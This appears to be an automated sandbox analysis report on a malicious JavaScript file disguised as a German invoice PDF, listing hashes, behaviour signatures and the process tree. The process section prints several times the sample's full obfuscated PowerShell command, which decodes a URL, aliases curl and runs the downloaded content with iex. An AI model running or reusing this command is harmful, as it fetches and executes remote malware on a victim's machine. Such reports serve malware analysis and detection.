Analysis
-
max time kernel
245s -
max time network
269s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
-
submitted
17/02/2024, 15:06
General
-
Target
Rechnung_1291905_PDF_.infected
-
Size
434KB
-
MD5
d012bd87e2bdb7942cff20fac9f2921f
-
SHA1
0087c57f8acee757adf264c03cd8ccbfffbdcb22
-
SHA256
eb9884bb271d547144fbfa745b4a6777f464cddaabf6802d3e899be07be37b73
-
SHA512
b131f3e2fa4e224a970ab3debb5b16ea89bdfe875188cb5409fe15064820eb55feebbadb782c9112d539fb6ed56403f41841beaa6829b73af1d4c6a8bcba0555
-
SSDEEP
3072:OojqDIjOPgTivo3KcUuCDHNelh0Nu5QJ8X3FnXJqSgKP1IpfRG:1
Malware Config
Signatures
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Modifies registry class 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 58 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 7 IoCs
-
Suspicious use of FindShellTrayWindow 56 IoCs
-
Suspicious use of SendNotifyMessage 55 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Rechnung_1291905_PDF_.infected1⤵
- Modifies registry class
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Rechnung_1291905_PDF_.js"1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $qixbryvgpcfj=(5379,5384,5379,5376,5379,5380,5384,5308,5378,5373,5374,5309,5311,5308,5374,5366,5374,5325,5377,5323,5368,5377,5312,5317);$dosvorv=('richard','net-secure','get-container', 'display-addin');foreach($rob9e in $qixbryvgpcfj){$awi=$rob9e;$yhjtkuzrnmxf=$yhjtkuzrnmxf+[char]($awi-5262);$vizit=$yhjtkuzrnmxf; $lira=$vizit};$pxzgmectrnqu[2]=$lira ;$suaevw='rl';$five=1;new-alias zwert cu$suaevw;.$([char](9992-9887)+'ex')(zwert -useb $lira)1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $qixbryvgpcfj=(5379,5384,5379,5376,5379,5380,5384,5308,5378,5373,5374,5309,5311,5308,5374,5366,5374,5325,5377,5323,5368,5377,5312,5317);$dosvorv=('richard','net-secure','get-container', 'display-addin');foreach($rob9e in $qixbryvgpcfj){$awi=$rob9e;$yhjtkuzrnmxf=$yhjtkuzrnmxf+[char]($awi-5262);$vizit=$yhjtkuzrnmxf; $lira=$vizit};$pxzgmectrnqu[2]=$lira ;$suaevw='rl';$five=1;new-alias zwert cu$suaevw;.$([char](9992-9887)+'ex')(zwert -useb $lira)2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /71⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Rechnung_1291905_PDF_.js"1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $qixbryvgpcfj=(5379,5384,5379,5376,5379,5380,5384,5308,5378,5373,5374,5309,5311,5308,5374,5366,5374,5325,5377,5323,5368,5377,5312,5317);$dosvorv=('richard','net-secure','get-container', 'display-addin');foreach($rob9e in $qixbryvgpcfj){$awi=$rob9e;$yhjtkuzrnmxf=$yhjtkuzrnmxf+[char]($awi-5262);$vizit=$yhjtkuzrnmxf; $lira=$vizit};$pxzgmectrnqu[2]=$lira ;$suaevw='rl';$five=1;new-alias zwert cu$suaevw;.$([char](9992-9887)+'ex')(zwert -useb $lira)1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $qixbryvgpcfj=(5379,5384,5379,5376,5379,5380,5384,5308,5378,5373,5374,5309,5311,5308,5374,5366,5374,5325,5377,5323,5368,5377,5312,5317);$dosvorv=('richard','net-secure','get-container', 'display-addin');foreach($rob9e in $qixbryvgpcfj){$awi=$rob9e;$yhjtkuzrnmxf=$yhjtkuzrnmxf+[char]($awi-5262);$vizit=$yhjtkuzrnmxf; $lira=$vizit};$pxzgmectrnqu[2]=$lira ;$suaevw='rl';$five=1;new-alias zwert cu$suaevw;.$([char](9992-9887)+'ex')(zwert -useb $lira)2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD58b591dabf3d165412ca5160b0fc9f7a0
SHA17f4003f64d280a98099a799b7303ab94adfea747
SHA256d90968baa89063686e83e4514b0b0341f703aefec3e00f63020a344763e92f60
SHA51257aaed079e38c08f0fe05aec21c02c84a7ed80780e796a5944227d5f17439a1b4378004931512965445826457f30488ec8f173b199e0e5374d4828c43a7e8af5
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
136KB
-
Filesize
10.8MB